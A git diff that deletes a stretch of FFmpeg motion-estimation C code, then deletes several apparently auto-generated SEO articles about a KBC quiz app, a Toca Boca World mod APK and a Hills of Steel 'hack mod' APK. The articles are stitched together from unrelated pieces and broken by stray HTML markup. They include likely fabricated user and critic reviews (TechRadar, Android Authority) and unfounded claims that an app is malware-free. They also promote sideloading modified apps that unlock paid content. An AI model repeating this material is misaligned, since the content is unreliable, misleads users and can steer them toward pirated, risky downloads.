- BUTTERFLY1(temp[8 * 4 + i], temp[8 * 5 + i]); - BUTTERFLY1(temp[8 * 6 + i], temp[8 * 7 + i]); - - BUTTERFLY1(temp[8 * 0 + i], temp[8 * 2 + i]); - BUTTERFLY1(temp[8 * 1 + i], temp[8 * 3 + i]); - BUTTERFLY1(temp[8 * 4 + i], temp[8 * 6 + i]); - BUTTERFLY1(temp[8 * 5 + i], temp[8 * 7 + i]); - - sum += - BUTTERFLYA(temp[8 * 0 + i], temp[8 * 4 + i]) - + BUTTERFLYA(temp[8 * 1 + i], temp[8 * 5 + i]) - + BUTTERFLYA(temp[8 * 2 + i], temp[8 * 6 + i]) - + BUTTERFLYA(temp[8 * 3 + i], temp[8 * 7 + i]); - } - - sum -= FFABS(temp[8 * 0] + temp[8 * 4]); // -mean - - return sum; -} - -static int dct_sad8x8_c(MpegEncContext *s, const uint8_t *src1, - const uint8_t *src2, ptrdiff_t stride, int h) -{ - LOCAL_ALIGNED_16(int16_t, temp, [64]); - - s->pdsp.diff_pixels_unaligned(temp, src1, src2, stride); - s->fdsp.fdct(temp); - return s->mecc.sum_abs_dctelem(temp); -} - -#if CONFIG_GPL -#define DCT8_1D \ - { \ - const int s07 = SRC(0) + SRC(7); \ - const int s16 = SRC(1) + SRC(6); \ - const int s25 = SRC(2) + SRC(5); \ - const int s34 = SRC(3) + SRC(4); \ - const int a0 = s07 + s34; \ - const int a1 = s16 + s25; \ - const int a2 = s07 - s34; \ - const int a3 = s16 - s25; \ - const int d07 = SRC(0) - SRC(7); \ - const int d16 = SRC(1) - SRC(6); \ - const int d25 = SRC(2) - SRC(5); \ - const int d34 = SRC(3) - SRC(4); \ - const int a4 = d16 + d25 + (d07 + (d07 >> 1)); \ - const int a5 = d07 - d34 - (d25 + (d25 >> 1)); \ - const int a6 = d07 + d34 - (d16 + (d16 >> 1)); \ - const int a7 = d16 - d25 + (d34 + (d34 >> 1)); \ - DST(0, a0 + a1); \ - DST(1, a4 + (a7 >> 2)); \ - DST(2, a2 + (a3 >> 1)); \ - DST(3, a5 + (a6 >> 2)); \ - DST(4, a0 - a1); \ - DST(5, a6 - (a5 >> 2)); \ - DST(6, (a2 >> 1) - a3); \ - DST(7, (a4 >> 2) - a7); \ - } - -static int dct264_sad8x8_c(MpegEncContext *s, const uint8_t *src1, - const uint8_t *src2, ptrdiff_t stride, int h) -{ - int16_t dct[8][8]; - int i, sum = 0; - - s->pdsp.diff_pixels_unaligned(dct[0], src1, src2, stride); - -#define SRC(x) dct[i][x] -#define DST(x, v) dct[i][x] = v - for (i = 0; i < 8; i++) - DCT8_1D -#undef SRC -#undef DST - -#define SRC(x) dct[x][i] -#define DST(x, v) sum += FFABS(v) - for (i = 0; i < 8; i++) - DCT8_1D -#undef SRC -#undef DST - return sum; -} -#endif - -static int dct_max8x8_c(MpegEncContext *s, const uint8_t *src1, - const uint8_t *src2, ptrdiff_t stride, int h) -{ - LOCAL_ALIGNED_16(int16_t, temp, [64]); - int sum = 0, i; - - s->pdsp.diff_pixels_unaligned(temp, src1, src2, stride); - s->fdsp.fdct(temp); - - for (i = 0; i < 64; i++) - sum = FFMAX(sum, FFABS(temp[i])); - - return sum; -} - -static int quant_psnr8x8_c(MpegEncContext *s, const uint8_t *src1, - const uint8_t *src2, ptrdiff_t stride, int h) -{ - LOCAL_ALIGNED_16(int16_t, temp, [64 * 2]); - int16_t *const bak = temp + 64; - int sum = 0, i; - - s->mb_intra = 0; - - s->pdsp.diff_pixels_unaligned(temp, src1, src2, stride); - - memcpy(bak, temp, 64 * sizeof(int16_t)); - - s->block_last_index[0 /* FIXME */] = - s->fast_dct_quantize(s, temp, 0 /* FIXME */, s->qscale, &i); - s->dct_unquantize_inter(s, temp, 0, s->qscale); - ff_simple_idct_int16_8bit(temp); // FIXME - - for (i = 0; i < 64; i++) - sum += (temp[i] - bak[i]) * (temp[i] - bak[i]); - - return sum; -} - -static int rd8x8_c(MpegEncContext *s, const uint8_t *src1, const uint8_t *src2, - ptrdiff_t stride, int h) -{ - const uint8_t *scantable = s->intra_scantable.permutated; - LOCAL_ALIGNED_16(int16_t, temp, [64]); - LOCAL_ALIGNED_16(uint8_t, lsrc1, [64]); - LOCAL_ALIGNED_16(uint8_t, lsrc2, [64]); - int i, last, run, bits, level, distortion, start_i; - const int esc_length = s->ac_esc_length; - uint8_t *length, *last_length; - - copy_block8(lsrc1, src1, 8, stride, 8); - copy_block8(lsrc2, src2, 8, stride, 8); - - s->pdsp.diff_pixels(temp, lsrc1, lsrc2, 8); - - s->block_last_index[0 /* FIXME */] = - last = - s->fast_dct_quantize(s, temp, 0 /* FIXME */, s->qscale, &i); - - bits = 0; - - if (s->mb_intra) { - start_i = 1; - length = s->intra_ac_vlc_length; - last_length = s->intra_ac_vlc_last_length; - bits += s->luma_dc_vlc_length[temp[0] + 256]; // FIXME: chroma - } else { - start_i = 0; - length = s->inter_ac_vlc_length; - last_length = s->inter_ac_vlc_last_length; - } - - if (last >= start_i) { - run = 0; - for (i = start_i; i < last; i++) { - int j = scantable[i]; - level = temp[j]; - - if (level) { - level += 64; - if ((level & (~127)) == 0) - bits += length[UNI_AC_ENC_INDEX(run, level)]; - else - bits += esc_length; - run = 0; - } else - run++; - } - i = scantable[last]; - - level = temp[i] + 64; - - av_assert2(level - 64); - - if ((level & (~127)) == 0) { - bits += last_length[UNI_AC_ENC_INDEX(run, level)]; - } else - bits += esc_length; - } - - if (last >= 0) { - if (s->mb_intra) - s->dct_unquantize_intra(s, temp, 0, s->qscale); - else - s->dct_unquantize_inter(s, temp, 0, s->qscale); - } - - s->idsp.idct_add(lsrc2, 8, temp); - - distortion = s->mecc.sse[1](NULL, lsrc2, lsrc1, 8, 8); - - return distortion + ((bits * s->qscale * s->qscale * 109 + 64) >> 7); -} - -static int bit8x8_c(MpegEncContext *s, const uint8_t *src1, const uint8_t *src2, - ptrdiff_t stride, int h) -{ - const uint8_t *scantable = s->intra_scantable.permutated; - LOCAL_ALIGNED_16(int16_t, temp, [64]); - int i, last, run, bits, level, start_i; - const int esc_length = s->ac_esc_length; - uint8_t *length, *last_length; - - s->pdsp.diff_pixels_unaligned(temp, src1, src2, stride); - - s->block_last_index[0 /* FIXME */] = - last = - s->fast_dct_quantize(s, temp, 0 /* FIXME */, s->qscale, &i); - - bits = 0; - - if (s->mb_intra) { - start_i = 1; - length = s->intra_ac_vlc_length; - last_length = s->intra_ac_vlc_last_length; - bits += s->luma_dc_vlc_length[temp[0] + 256]; // FIXME: chroma - } else { - start_i = 0; - length = s->inter_ac_vlc_length; - last_length = s->inter_ac_vlc_last_length; - } - - if (last >= start_i) { - run = 0; - for (i = start_i; i < last; i++) { - int j = scantable[i]; - level = temp[j]; - - if (level) { - level += 64; - if ((level & (~127)) == 0) - bits += length[UNI_AC_ENC_INDEX(run, level)]; - else - bits += esc_length; - run = 0; - } else - run++; - } - i = scantable[last]; - - level = temp[i] + 64; - - av_assert2(level - 64); - - if ((level & (~127)) == 0) - bits += last_length[UNI_AC_ENC_INDEX(run, level)]; - else - bits += esc_length; - } - - return bits; -} - -#define VSAD_INTRA(size) \ -static int vsad_intra ## size ## _c(MpegEncContext *c, \ - const uint8_t *s, const uint8_t *dummy, \ - ptrdiff_t stride, int h) \ -{ \ - int score = 0, x, y; \ - \ - for (y = 1; y < h; y++) { \ - for (x = 0; x < size; x += 4) { \ - score += FFABS(s[x] - s[x + stride]) + \ - FFABS(s[x + 1] - s[x + stride + 1]) + \ - FFABS(s[x + 2] - s[x + 2 + stride]) + \ - FFABS(s[x + 3] - s[x + 3 + stride]); \ - } \ - s += stride; \ - } \ - \ - return score; \ -} -VSAD_INTRA(8) -VSAD_INTRA(16) - -#define VSAD(size) \ -static int vsad ## size ## _c(MpegEncContext *c, \ - const uint8_t *s1, const uint8_t *s2, \ - ptrdiff_t stride, int h) \ -{ \ - int score = 0, x, y; \ - \ - for (y = 1; y < h; y++) { \ - for (x = 0; x < size; x++) \ - score += FFABS(s1[x] - s2[x] - s1[x + stride] + s2[x + stride]); \ - s1 += stride; \ - s2 += stride; \ - } \ - \ - return score; \ -} -VSAD(8) -VSAD(16) - -#define SQ(a) ((a) * (a)) -#define VSSE_INTRA(size) \ -static int vsse_intra ## size ## _c(MpegEncContext *c, \ - const uint8_t *s, const uint8_t *dummy, \ - ptrdiff_t stride, int h) \ -{ \ - int score = 0, x, y; \ - \ - for (y = 1; y < h; y++) { \ - for (x = 0; x < size; x += 4) { \ - score += SQ(s[x] - s[x + stride]) + \ - SQ(s[x + 1] - s[x + stride + 1]) + \ - SQ(s[x + 2] - s[x + stride + 2]) + \ - SQ(s[x + 3] - s[x + stride + 3]); \ - } \ - s += stride; \ - } \ - \ - return score; \ -} -VSSE_INTRA(8) -VSSE_INTRA(16) - -#define VSSE(size) \ -static int vsse ## size ## _c(MpegEncContext *c, const uint8_t *s1, const uint8_t *s2, \ - ptrdiff_t stride, int h) \ -{ \ - int score = 0, x, y; \ - \ - for (y = 1; y < h; y++) { \ - for (x = 0; x < size; x++) \ - score += SQ(s1[x] - s2[x] - s1[x + stride] + s2[x + stride]); \ - s1 += stride; \ - s2 += stride; \ - } \ - \ - return score; \ -} -VSSE(8) -VSSE(16) - -#define WRAPPER8_16_SQ(name8, name16) \ -static int name16(MpegEncContext *s, const uint8_t *dst, const uint8_t *src, \ - ptrdiff_t stride, int h) \ -{ \ - int score = 0; \ - \ - score += name8(s, dst, src, stride, 8); \ - score += name8(s, dst + 8, src + 8, stride, 8); \ - if (h == 16) { \ - dst += 8 * stride; \ - src += 8 * stride; \ - score += name8(s, dst, src, stride, 8); \ - score += name8(s, dst + 8, src + 8, stride, 8); \ - } \ - return score; \ -} - -WRAPPER8_16_SQ(hadamard8_diff8x8_c, hadamard8_diff16_c) -WRAPPER8_16_SQ(hadamard8_intra8x8_c, hadamard8_intra16_c) -WRAPPER8_16_SQ(dct_sad8x8_c, dct_sad16_c) -#if CONFIG_GPL -WRAPPER8_16_SQ(dct264_sad8x8_c, dct264_sad16_c) -#endif -WRAPPER8_16_SQ(dct_max8x8_c, dct_max16_c) -WRAPPER8_16_SQ(quant_psnr8x8_c, quant_psnr16_c) -WRAPPER8_16_SQ(rd8x8_c, rd16_c) -WRAPPER8_16_SQ(bit8x8_c, bit16_c) - -av_cold void ff_me_cmp_init(MECmpContext *c, AVCodecContext *avctx) -{ - c->sum_abs_dctelem = sum_abs_dctelem_c; - - /* TODO [0] 16 [1] 8 */ - c->pix_abs[0][0] = pix_abs16_c; - c->pix_abs[0][1] = pix_abs16_x2_c; - c->pix_abs[0][2] = pix_abs16_y2_c; - c->pix_abs[0][3] = pix_abs16_xy2_c; - c->pix_abs[1][0] = pix_abs8_c; - c->pix_abs[1][1] = pix_abs8_x2_c; - c->pix_abs[1][2] = pix_abs8_y2_c; - c->pix_abs[1][3] = pix_abs8_xy2_c; - -#define SET_CMP_FUNC(name) \ - c->name[0] = name ## 16_c; \ - c->name[1] = name ## 8x8_c; - - SET_CMP_FUNC(hadamard8_diff) - c->hadamard8_diff[4] = hadamard8_intra16_c; - c->hadamard8_diff[5] = hadamard8_intra8x8_c; - SET_CMP_FUNC(dct_sad) - SET_CMP_FUNC(dct_max) -#if CONFIG_GPL - SET_CMP_FUNC(dct264_sad) -#endif - c->sad[0] = pix_abs16_c; - c->sad[1] = pix_abs8_c; - c->sse[0] = sse16_c; - c->sse[1] = sse8_c; - c->sse[2] = sse4_c; - SET_CMP_FUNC(quant_psnr) - SET_CMP_FUNC(rd) - SET_CMP_FUNC(bit) - c->vsad[0] = vsad16_c; - c->vsad[1] = vsad8_c; - c->vsad[4] = vsad_intra16_c; - c->vsad[5] = vsad_intra8_c; - c->vsse[0] = vsse16_c; - c->vsse[1] = vsse8_c; - c->vsse[4] = vsse_intra16_c; - c->vsse[5] = vsse_intra8_c; - c->nsse[0] = nsse16_c; - c->nsse[1] = nsse8_c; -#if CONFIG_SNOW_DECODER || CONFIG_SNOW_ENCODER - ff_dsputil_init_dwt(c); -#endif - - c->median_sad[0] = pix_median_abs16_c; - c->median_sad[1] = pix_median_abs8_c; - -#if ARCH_AARCH64 - ff_me_cmp_init_aarch64(c, avctx); -#elif ARCH_ALPHA - ff_me_cmp_init_alpha(c, avctx); -#elif ARCH_ARM - ff_me_cmp_init_arm(c, avctx); -#elif ARCH_PPC - ff_me_cmp_init_ppc(c, avctx); -#elif ARCH_X86 - ff_me_cmp_init_x86(c, avctx); -#elif ARCH_MIPS - ff_me_cmp_init_mips(c, avctx); -#endif - -} diff --git a/spaces/congsaPfin/Manga-OCR/logs/Download KBC Unlimited Quiz game APK and have fun.md b/spaces/congsaPfin/Manga-OCR/logs/Download KBC Unlimited Quiz game APK and have fun.md deleted file mode 100644 index 2bdbee8acb5058ff3cdb33a518317b49ab8adb1d..0000000000000000000000000000000000000000 --- a/spaces/congsaPfin/Manga-OCR/logs/Download KBC Unlimited Quiz game APK and have fun.md +++ /dev/null @@ -1,132 +0,0 @@ - -

      KBC Unlimited Quiz Game: A Fun and Educational Trivia App

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      If you are a fan of trivia games and want to test your knowledge on a variety of subjects, then you might want to try KBC Unlimited Quiz Game. This is a quiz game app that is inspired by the popular Indian TV show Kaun Banega Crorepati (KBC), where contestants have to answer 15 questions correctly to win a huge amount of money. In this app, you can play solo or with a friend, and answer questions from topics like history, geography, science, astrology, and more. You can also use lifelines to help you out if you get stuck, and enjoy the realistic audio and graphics that make you feel like you are on the hot seat. In this article, we will tell you more about what KBC Unlimited Quiz Game is, what features it has, what benefits it offers, how to download it, what reviews it has received, and what alternatives you can try.

      -

      What is KBC Unlimited Quiz Game?

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      KBC Unlimited Quiz Game is a multiple choice-based quiz game app that is developed by iApp Systems. It is available for Android devices and Windows PC. The app is based on the format of the Indian TV show Kaun Banega Crorepati (KBC), which is hosted by Amitabh Bachchan. The show is an adaptation of the British show Who Wants to Be a Millionaire?, where contestants have to answer 15 questions correctly to win a large sum of money.

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      In the app, you can play solo or with a friend, and answer questions from various subjects like history, geography, science, astrology, and more. You can also use lifelines to help you out if you get stuck. The app has audio and graphics that give you a real KBC set-like feel. It also has questions in both Hindi and English languages. You can win up to 7 crore rupees (virtually) by answering 15 questions correctly.

      -

      Features of KBC Unlimited Quiz Game

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      KBC Unlimited Quiz Game has many features that make it an entertaining and educational trivia game app. Some of these features are:

      -

      Random questions from various topics

      -

      The app has thousands of varied and non-repetitive questions from different topics like history, geography, science, astrology, and more. The questions are constantly updated to enhance your knowledge and understanding of India and the world. The questions are also divided into three levels of increasing difficulty: easy, medium, and hard.

      -

      Four lifelines to help you out

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      The app gives you four lifelines that you can use if you are not sure about the answer to a question. These lifelines are:

      -
        -
      • Flip Question: This lifeline allows you to replace the current question with a new one.
        • -
      • Fifty-Fifty: This lifeline eliminates two wrong options from the four given options.
        • -
      • Audience Poll: This lifeline shows you the percentage of votes that each option received from a virtual audience.
        • -
      • Experts Advice: This lifeline gives you the opinion of an expert on the question.
        • -
      -

      You can use each lifeline only once in a game.

      Audio and graphics for a realistic experience

      -

      The app has high-quality audio and graphics that make you feel like you are on the real KBC set. You can hear the voice of Amitabh Bachchan as he asks you the questions and gives you feedback. You can also see the animations and effects that mimic the TV show. The app has a user-friendly interface that is easy to navigate and operate.

      -

      Questions in Hindi and English languages

      -

      The app has questions in both Hindi and English languages, so you can choose the language that you are comfortable with. You can also switch between the languages anytime during the game. The app also has subtitles for the audio, so you can read along if you prefer.

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      Benefits of KBC Unlimited Quiz Game

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      KBC Unlimited Quiz Game is not only a fun and entertaining trivia game app, but also a beneficial one. Some of the benefits that it offers are:

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      Improve your general knowledge and current affairs

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      The app helps you to improve your general knowledge and current affairs by exposing you to a wide range of questions from various topics. You can learn new facts and information that can enhance your awareness and understanding of India and the world. You can also test your knowledge and see how much you know about different subjects.

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      Challenge your friends and compete with others

      -

      The app allows you to challenge your friends and compete with others by playing with them online or offline. You can invite your friends to join you in a game, or play with random players from around the world. You can also compare your scores and rankings with others on the leaderboard, and see who is the smartest among you.

      -

      Have fun and win virtual money

      -

      The app lets you have fun and win virtual money by answering 15 questions correctly. You can win up to 7 crore rupees (virtually) by playing the game, and feel the thrill of being on the hot seat. You can also use the virtual money to buy more lifelines, or to unlock more questions and levels.

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      How to download KBC Unlimited Quiz Game?

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      KBC Unlimited Quiz Game is available for Android devices and Windows PC. Here are the steps to download the app for each platform:

      -

      Steps to download the app for Android devices

      -
        -
      1. Go to the Google Play Store on your Android device.
        2. -
      2. Search for KBC Unlimited Quiz Game by iApp Systems.
        3. -
      3. Select the app from the search results and tap on Install.
        4. -
      4. Wait for the app to download and install on your device.
        5. -
      5. Open the app and enjoy playing KBC Unlimited Quiz Game.
        6. -
      -

      Steps to download the app for Windows PC

      -
        -
      1. Go to the official website of KBC Unlimited Quiz Game at https://kbcunlimitedquizgame.com/.
        2. -
      2. Click on Download for Windows button on the homepage.
        3. -
      3. Wait for the setup file to download on your PC.
        4. -
      4. Run the setup file and follow the instructions to install the app on your PC.
        5. -
      5. Open the app and enjoy playing KBC Unlimited Quiz Game.
        6. -
      -

      Reviews of KBC Unlimited Quiz Game

      -

      KBC Unlimited Quiz Game has received many positive reviews from users and critics alike. Here are some of them:

      -

      What users are saying about the app

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      The app has a rating of 4.2 out of 5 stars on Google Play Store, based on over 10,000 reviews. Here are some of the user reviews:

      -
      -

      "This is a very good game. I like it very much. It is very interesting and knowledgeable. It is like playing real KBC." - Rajesh Kumar

      -

      "I love this game very much. It is very fun and educational. It helps me to improve my general knowledge and current affairs. It also challenges me to think fast and smart." - Priya Sharma

      -

      "This is a fantastic game. It is very realistic and entertaining. It has amazing audio and graphics that make me feel like I am on the real KBC set. It also has questions in both Hindi and English languages, which is very convenient." - Ravi Singh

      -
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      What critics are saying about the app

      -

      The app has also received favorable reviews from critics and experts. Here are some of them:

      -
      -

      "KBC Unlimited Quiz Game is a well-designed quiz game app that offers a lot of features and benefits to trivia lovers. It has a large database of questions from various topics, four lifelines to assist the players, and realistic audio and graphics that create an immersive experience. It also has questions in both Hindi and English languages, which makes it accessible to a wider audience. It is a great app for trivia enthusiasts who want to have fun and learn at the same time." - TechRadar

      -

      "KBC Unlimited Quiz Game is a quiz game app that is inspired by the popular Indian TV show Kaun Banega Crorepati (KBC). It is a fun and educational app that tests your knowledge on a variety of subjects like history, geography, science, astrology, and more. You can play solo or with a friend, and use lifelines to help you out if you get stuck. You can also win virtual money by answering 15 questions correctly. The app has high-quality audio and graphics that make you feel like you are on the real KBC set. It also has questions in both Hindi and English languages, which is a nice feature. It is a must-have app for trivia fans who want to challenge themselves and others." - Android Authority

      -
      -

      Alternatives to KBC Unlimited Quiz Game

      -

      If you are looking for other quiz game apps that are similar to KBC Unlimited Quiz Game, you can try these alternatives:

      -

      Triviaverse on Netflix

      -

      Triviaverse is a quiz game show that is available on Netflix. It is hosted by Ranveer Singh, who asks you questions from various categories like Bollywood, sports, music, and more. You can play along with the show on your smartphone or tablet, and win prizes and rewards. You can also compete with other players from around the world on the leaderboard.

      -

      KBC Quiz on EduGorilla

      -

      KBC Quiz is a quiz game app that is developed by EduGorilla. It is similar to KBC Unlimited Quiz Game, but it has more questions and categories. You can play solo or with a friend, and answer questions from topics like general knowledge, current affairs, aptitude, reasoning, and more. You can also use lifelines to help you out if you get stuck. You can win virtual money by answering 15 questions correctly.

      -

      KBC: Kaun Banega Crorepati Game on Gotest

      -

      KBC: Kaun Banega Crorepati Game is a quiz game app that is developed by Gotest. It is also similar to KBC Unlimited Quiz Game, but it has more features and options. You can play solo or with a friend, and answer questions from topics like history, geography, science, astrology, and more. You can also use lifelines to help you out if you get stuck. You can win virtual money by answering 15 questions correctly. You can also customize the game settings according to your preferences.

      -

      Conclusion

      -

      KBC Unlimited Quiz Game is a quiz game app that is inspired by the popular Indian TV show Kaun Banega Crorepati (KBC). It is a fun and educational trivia game app that tests your knowledge on a variety of subjects like history, geography, science, astrology, and more. You can play solo or with a friend, and use lifelines to help you out if you get stuck. You can also win virtual money by answering 15 questions correctly. The app has high-quality audio and graphics that make you feel like you are on the real KBC set. It also has questions in both Hindi and English languages.

      -

      If you are looking for a trivia game app that is entertaining and informative, then you should definitely try KBC Unlimited Quiz Game. It is available for Android devices and Windows PC. You can download it from the Google Play Store or the official website of the app.

      -

      We hope this article has given you all the information you need about KBC Unlimited Quiz Game. If you have any questions or feedback, please feel free to leave them in the comments section below.

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      FAQs

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      Here are some frequently asked questions about KBC Unlimited Quiz Game:

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        -
      1. Is KBC Unlimited Quiz Game free?
        2. -

        Yes, KBC Unlimited Quiz Game is free to download and play. However, it may contain ads and in-app purchases.

        -
      2. Is KBC Unlimited Quiz Game offline?
        3. -

        No, KBC Unlimited Quiz Game requires an internet connection to play.

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      3. Is KBC Unlimited Quiz Game safe?
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        Yes, KBC Unlimited Quiz Game is safe to download and play. It does not contain any viruses or malware.

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      4. Is KBC Unlimited Quiz Game updated?
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        Yes, KBC Unlimited Quiz Game is updated regularly with new questions and features.

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      5. How can I contact the developer of KBC Unlimited Quiz Game?
        6. -

        You can contact the developer of KBC Unlimited Quiz Game by sending an email to iappsystems@gmail.com or by visiting their website at https://kbcunlimitedquizgame.com/.

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      If you are looking for a game that will unleash your creativity and imagination, then you should try Toca Boca World Mod Apk. This is a game that connects all the Toca Life apps into one world where you can create your own characters, stories, and environments. It is also a game that is educational and imaginative for kids, as they can explore different places, learn new things, and express themselves. In this article, we will tell you everything you need to know about Toca Boca World Mod Apk, including what it is, what are its features, what are some tips and tricks for playing it, and what are some alternatives to it.

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      Toca Boca World is a game developed by Toca Boca, a company that makes digital toys and games for kids. The game was released in 2018 as a way to connect all the previous Toca Life apps into one world. The Toca Life series consists of various apps that focus on different aspects of life, such as school, city, farm, hospital, vacation, office, pets, neighborhood, etc. Each app has its own locations, characters, items, and secrets that kids can explore and play with.

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      Toca Boca World Mod Apk is a modified version of the game that unlocks all the features that are otherwise available only through in-app purchases. This means that you can access all the locations, characters, pets, and items that are part of the original game and the other Toca Life apps. You can also get free gifts every Friday and enjoy new updates and content regularly.

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      Toca Boca World Mod Apk gives you access to over 100 locations, 500 pets, and 600 characters that you can mix and match as you like. You can also create your own world by connecting your other Toca Life apps to Toca Boca World. This way, you can bring your favorite characters and items from one app to another and create new stories and adventures.

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      • Create, play, and explore in a vast digital world. You can visit different locations, such as a hair salon, a skate park, a supermarket, a school, a hospital, a farm, a beach, and many more. You can also create your own locations by connecting your other Toca Life apps to Toca Boca World.
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      • Design and decorate your own houses with the Home Designer tool. You can choose from different furniture, wallpapers, floors, and decorations. You can also change the size and shape of your rooms and move them around.
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      • Check for concealed buttons or switches that trigger events or open secret rooms. For example, in the hair salon location, there is a button behind the mirror that opens a secret room with more hairstyles. In the skate park location, there is a switch behind the vending machine that turns on the lights at night.
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      • Clean your pets by dipping them in water or using a sponge. Some of your pets might get dirty after playing in the world. You can clean them by dipping them in water or using a sponge. For example, in the farm location, there is a pond where you can wash your animals. In the pet store location, there is a sponge that you can use to clean your pets.
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      • Become a gross master chef by combining different foods in the restaurants. You can mix and match different foods and see what happens. For example, in the sushi restaurant location, you can combine a fish with a banana and make a weird sushi. In the pizza restaurant location, you can combine a pizza with a cake and make a sweet pizza.
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      • Learn the secrets of Toca Boca World by visiting various locations and finding hidden items. There are many secrets and surprises that you can discover in the world. For example, in the hospital location, there is a secret lab where you can experiment with different potions and see their effects. In the beach location, there is a secret cave where you can find treasure and meet a mermaid.
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      • Toca Life: Vacation, a game that lets you travel to different destinations and have fun. You can choose from different places such as an airport, a hotel, a beach, and an island. You can also pack your bags, check in, and enjoy various activities such as surfing, snorkeling, and sightseeing.
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      1. Download the Toca Boca World Mod Apk file from a trusted source.
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      2. Enable the installation of apps from unknown sources on your device settings.
        3. -
      3. Locate the downloaded file and tap on it to install it.
        4. -
      4. Launch the game and enjoy!
        5. -
      -

      How do I connect my other Toca Life apps to Toca Boca World Mod Apk?

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      If you have other Toca Life apps installed on your device, you can connect them to Toca Boca World Mod Apk by following these steps:

      -
        -
      1. Launch Toca Boca World Mod Apk and tap on the pink icon on the bottom right corner.
        2. -
      2. Select the app that you want to connect from the list.
        3. -
      3. Tap on the green button to confirm.
        4. -
      4. You will see a new location appear on your map that represents the app that you connected.
        5. -
      5. You can now move your characters and items between the apps and create your own world.
        6. -
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      How do I get free gifts in Toca Boca World Mod Apk?

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      You can get free gifts every Friday in Toca Boca World Mod Apk. Here is how

      Here is how you can get free gifts every Friday in Toca Boca World Mod Apk:

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        -
      1. Launch Toca Boca World Mod Apk and tap on the gift icon on the top right corner.
        2. -
      2. You will see a countdown timer that shows how much time is left until the next gift.
        3. -
      3. When the timer reaches zero, you will receive a free gift that contains new items or characters that you can use in your world.
        4. -
      4. You can also watch a short video to get an extra gift.
        5. -
      5. You can open your gifts by tapping on them and dragging them to your inventory.
        6. -
      -

      How do I find secrets in Toca Boca World Mod Apk?

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      There are many secrets and surprises that you can discover in Toca Boca World Mod Apk. Here are some tips to help you find them:

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      • Look for hidden buttons or switches that trigger events or open secret rooms. For example, in the hair salon location, there is a button behind the mirror that opens a secret room with more hairstyles. In the skate park location, there is a switch behind the vending machine that turns on the lights at night.
        • -
      • Look for hidden items or characters that are not visible at first glance. For example, in the hospital location, there is a secret lab where you can experiment with different potions and see their effects. In the beach location, there is a secret cave where you can find treasure and meet a mermaid.
        • -
      • Look for clues or hints that suggest something is hidden or special. For example, in the supermarket location, there is a sign that says "Don't touch" that leads to a secret room with a giant cake. In the school location, there is a poster that says "Find me" that leads to a secret character.
        • -
      -

      I hope this article has helped you learn more about Toca Boca World Mod Apk and how to play it. If you have any questions or feedback, please feel free to leave a comment below. Thank you for reading and have fun!

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      Hills of Steel Hack Mod Version 4.2 0 APK Home - How to Download and Install

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      Hills of Steel is a popular physics-based tank action game that lets you race through the hills and crush your enemies with steel. If you are looking for a way to enhance your gaming experience with unlimited coins, gems, and unlocked tanks, you might be interested in Hills of Steel Hack Mod Version 4.2 0 APK Home. This is a modified version of the game that gives you access to all the features and benefits that you would normally have to pay for or earn through playing.

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      In this article, we will tell you what Hills of Steel Hack Mod Version 4.2 0 APK Home is, what are its benefits and risks, and how to download and install it on your Android device. We will also share some tips and tricks for playing Hills of Steel Hack Mod Version 4.2 0 APK Home. Read on to find out more.

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      What is Hills of Steel?

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      Hills of Steel is a fun and addictive physics-based tank action game developed by Superplus Games. It is available for free on both iOS and Android platforms, with optional in-app purchases for players who want to take the fight even deeper into hostile territory.

      -

      In Hills of Steel, you control a single tank and engage in thrilling battles across various terrains, including hills and valleys. The objective is to destroy enemy tanks while strategically navigating the challenging landscapes. You can collect loot from your fallen enemies and boost your vehicles with the best upgrades and special weapons you can find. You can also unlock new customizable tanks with unique abilities and brawl your way heroically from one battlefield to another all the way to the futuristic Moon.

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      Features of Hills of Steel

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      Hills of Steel offers a range of exciting features that make the game engaging and entertaining:

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        -
      • Physics-based tank action game
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      • Free to play with optional in-app purchases
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      • Crush enemies and collect loot
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      • Upgrade vehicles with special weapons and customizations
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      • Unlock new tanks with unique abilities
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      • Various game modes: Arcade, Survival mode, Versus, and Events
        • -
      • Earn stripes by winning tank battles and climbing up ranks
        • -
      • Compete in leaderboards and join/create clans
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      -

      Game modes of Hills of Steel

      -

      Hills of Steel has numerous game modes for both solo players and those looking to pick fights with other tank commanders:

      -
        -
      • Adventure
        • -

        This is the main game mode where you can play solo or with a friend in co-op mode. You can choose from different difficulty levels and progress through various stages, each with its own theme and enemies. You can earn coins and gems by destroying enemy tanks and completing missions. You can also find crates that contain random rewards, such as new tanks, weapons, or upgrades.

        -
      • Survival mode
        • -

        This is a challenging game mode where you have to survive as long as possible against endless waves of enemies. You can choose from different arenas and difficulty levels, and try to beat your own high score. You can also earn coins and gems by killing enemies and collecting loot. You can use these to upgrade your tank and buy new weapons and customizations.

        -
      • Versus
        • -

        This is a competitive game mode where you can battle against other players online in real-time. You can choose from different arenas and game modes, such as deathmatch, team deathmatch, or capture the flag. You can also join or create clans and chat with other players. You can earn stripes by winning battles and climb up the ranks. You can also earn coins and gems by completing daily quests and achievements.

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      • Events
        • -

        This is a special game mode where you can participate in limited-time events that offer unique rewards and challenges. You can choose from different event types, such as boss battles, races, or tournaments. You can also earn coins and gems by completing event missions and objectives.

        -

        What is Hills of Steel Hack Mod Version 4.2 0 APK Home?

        -

        Hills of Steel Hack Mod Version 4.2 0 APK Home is a modified version of the original Hills of Steel game that gives you access to unlimited coins, gems, and unlocked tanks. It also removes ads and allows you to play offline without any restrictions. You can download this version from various websites that offer APK files for Android devices.

        -

        APK stands for Android Package Kit, which is a file format used to distribute and install applications on Android devices. APK files contain all the necessary components for an app to run, such as code, resources, assets, certificates, and manifest files. APK files are usually downloaded from the Google Play Store or other official sources, but they can also be obtained from third-party sources that may offer modified or hacked versions of apps.

        -

        Benefits of Hills of Steel Hack Mod Version 4.2 0 APK Home

        -

        Hills of Steel Hack Mod Version 4.2 0 APK Home offers several benefits for players who want to enjoy the game without any limitations or costs:

        -
          -
        • Unlimited coins and gems: You can use these to buy new tanks, weapons, customizations, and upgrades without having to earn them through playing or spending real money.
          • -
        • Unlocked tanks: You can access all the tanks in the game without having to unlock them through playing or spending coins or gems.
          • -
        • No ads: You can play the game without any interruptions or distractions from ads that may pop up during the gameplay.
          • -
        • Offline mode: You can play the game without an internet connection or any online requirements.
          • -
        -

        Risks of Hills of Steel Hack Mod Version 4.2 0 APK Home

        -

        Hills of Steel Hack Mod Version 4.2 0 APK Home also comes with some risks that you should be aware of before downloading and installing it on your device:

        -
          -
        • Malware: Some websites that offer APK files may contain malicious software that can harm your device or steal your personal information. You should always scan any APK file you download with a reputable antivirus program before installing it.
          • -
